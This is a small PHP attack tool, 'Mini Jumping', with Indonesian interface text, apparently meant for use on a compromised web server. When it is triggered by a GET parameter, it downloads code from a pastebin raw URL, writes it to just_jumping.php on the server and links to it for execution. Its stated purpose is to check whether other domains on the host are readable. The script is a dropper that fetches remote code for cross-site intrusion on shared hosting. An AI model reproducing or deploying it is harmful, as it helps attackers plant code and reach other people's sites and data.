Mini Jumping

<?php
function parah($pastebin, $nama_file){
$usa = file_get_contents("$pastebin");
$frr = fopen("$nama_file", 'w');
fwrite($frr, $usa);
} $xp = $_GET[xp];
$b = "<center>Ini Merupakan Tools Jumping Mini.</center>";
if($xp == "just_jumping"){
$jump = parah("http://pastebin.com/raw.php?i=eewrEsJY", "just_jumping.php");
$b = '<center><br><br><a href="just_jumping.php" target="_blank"><font color="lime"><b>TEKAN DISINI</a><br><br>
        <font color="white"><b>Note : tool jumping ini hanya Melihat Domain Apakah Readable Atau Tidak.</b></center>';
}
echo '<!DOCTYPE html>
<html>
<head>
    <title>Mini Jumping</title>
     <link href="https://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
    <style>
        body {
            background-color: black;
            color: white;
            font-family: Iceland;
        }
        .kotak{
            border: 1px solid lime;
            width: 200px;
            height: 20px;
            text-align: center;
            border-radius: 3px;
            float: center;
            margin-right: 5px;
            color: white;
        }
        .kotak:hover{
            border: 1px solid lime;
        }

    </style>
</head>
<body>
    <center><h2>Mini Jumping</h2></center></br>
    <center><div class="kotak"><a href="?xp=just_jumping"><font color="white">Tekan Disini</a></div></center>

    '; echo "<br>$b<br>
</body>
</html>";
?>